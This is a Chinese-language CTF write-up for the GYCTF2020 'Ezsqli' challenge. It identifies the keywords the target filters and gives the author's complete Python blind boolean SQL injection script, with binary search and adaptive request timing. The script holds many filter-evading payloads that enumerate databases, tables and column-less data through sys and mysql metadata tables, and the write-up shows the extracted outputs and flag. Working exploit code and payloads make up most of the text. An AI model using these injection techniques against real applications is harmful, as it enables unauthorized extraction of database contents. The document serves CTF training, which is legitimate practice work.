[GYCTF2020]Ezsqli
思路
怎么又是尸体😡

下面有输入框,YAKIT抓包,多次尝试,发现是sql注入
常规注入会被拦住,经过测试得知过滤了这些:
for
.in
_in
union
join
解题
也好办,不用列名就行,先爆库
参考文献:[GYCTF2020]Ezsqli(无列名注入)-CSDN博客
附上我自己的bool注入源码
有二分加上响应时间控制
import requests
import string
import time
# TODO: 修改点1
url = 'http://f8bebef1-8b12-4f5a-b84b-d8bd88e2e1db.node5.buuoj.cn:81/index.php'
# TODO: 修改点2
param_name = 'id'
params = {param_name: None}
min_num = 0
max_num = 128
# TODO: 修改点3
success_flag = "Error Occured When Fetch Result."
fail_flag = "Nu1L"
def bool_success(url: string, params : dict, success_flag: string, fail_flag: string):
# 初始化
if not hasattr(bool_success, 'wait_time'):
bool_success.wait_time = 0.02
if not hasattr(bool_success, 'success_times'):
bool_success.success_times = 0
if not hasattr(bool_success, 'total_times'):
bool_success.total_times = 0
state_503 = True
while state_503:
time.sleep(bool_success.wait_time)
if bool_success.total_times >= 10 and bool_success.success_times / bool_success.total_times >= 0.5:
bool_success.wait_time += 0.01
# print(f'bool_success.wait_time调整至{bool_success.wait_time}')
bool_success.total_times = 0
bool_success.success_times = 0
bool_success.total_times += 1
try:
# TODO: 修改点:GET OR POST
response = requests.post(url=url, data=params)
# print(response.url)
except Exception:
continue
# print(url+'id='+params[param_name])
if requests.status_codes != 503:
state_503 = False
bool_success.success_times += 1
# print(url, response.text)
if success_flag in response.text:
# print('success')
return True
elif fail_flag in response.text:
# print('fail')
# TODO: 修改点4
# return False
continue
elif "Error" in response.text:
# print('worry_data')
continue
else:
# print('error')
continue
return False
res = ''
temp_flag = ''
None_num = 0
for i in range(1, 500):
left = min_num - 1
right = max_num + 1
mid = (left + right) // 2
while left + 1 != right:
# TODO: 修改点
column_name = 'users23330'
table_name = 'users'
# TODO: 修改点5
# 数据库
# 1. 常规
# params[param_name] = f'1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),{i},1))>{mid})'
# 2. 当前库
# params[param_name] = f'1^(ascii(substr((select(database())),{i},1))>{mid})'
# 3. 换个信息表
# params[param_name] = f'1^(ascii(substr((select(group_concat(table_schema))from(sys.schema_table_statistics_with_buffer)),{i},1))>{mid})'
# 数据表
# 1.
# params[param_name] = f'1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{i},1))>{mid})'
# 2.
# params[param_name] = f'1^(select(group_concat(table_name))from(mysql.innodb_table_stats)where(database_name=database()))'
# 3.
# params[param_name] = f'1^(ascii(substr((select(group_concat(table_name))from(sys.schema_table_statistics_with_buffer)where(table_schema=database())),{i},1))>{mid})'
# 字段
# params[param_name] = f'1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name="{table_name}")),{i},1))>{mid})'
# 内容
# 1.
# params[param_name] = f' or ascii(substr((select {column_name} from {table_name}),{i},1))>{mid}-- -'
# 2. payload形式
# payload = f' or ascii(substr((select {column_name} from {table_name}),{i},1))>{mid}-- -'
# 3. 不用列名
# params[param_name] = f'1^(ascii(substr((select(group_concat(a))from(select(1)a,(2)b,(3)c/**/union/**/select/**/*from/**/{column_name})x),{i},1))>{mid})'
# 4. 不用列名,字典序比较
params[param_name] = f'1^(select((select/**/1,"{temp_flag}{chr(mid+1)}")<(select/**/*/**/from(f1ag_1s_h3r3_hhhhh))))'
# print(params[param_name])
if bool_success(url,params, success_flag, fail_flag):
left = mid
else:
right = mid
mid = (left + right) // 2
if right == max_num + 1 or left == min_num - 1:
print('NoneChr!')
None_num += 1
if None_num >= 5:
print('---finished---')
break
continue
res += chr(right)
print(res)
temp_flag += chr(right)
我们先爆库
'1^(ascii(substr((select(group_concat(table_schema))from(sys.schema_table_statistics_with_buffer)),{i},1))>{mid})'
# 得到:
give_grandpa_pa_pa_pa,give_grandpa_pa_pa_pa
爆表
'1^(ascii(substr((select(group_concat(table_name))from(sys.schema_table_statistics_with_buffer)where(table_schema=database())),{i},1))>{mid})'
# 得到:
users233333333333333,f1ag_1s_h3r3_hhhhh
爆列元素
'1^(select((select/**/"{temp_flag}{mid}")<(select/**/*/**/from(f1ag_1s_h3r3_hhhhh))))'
# 发现回显错误,可以认为第一列不是字符串
'1^(select((select/**/1,"{temp_flag}{chr(mid+1)}")<(select/**/*/**/from(f1ag_1s_h3r3_hhhhh))))'
# 得到:
flag{8382f71c-511b-4e87-976e-4194e5cf42af|
把|改成}即可
二分查找时要设定范围0~128,包括ASCII表
我中间有次设错了,得到了FLAG...可能sql比较不看大小写?
注意
- 不用union和join的无列名爆破,可以用字符串字典序比较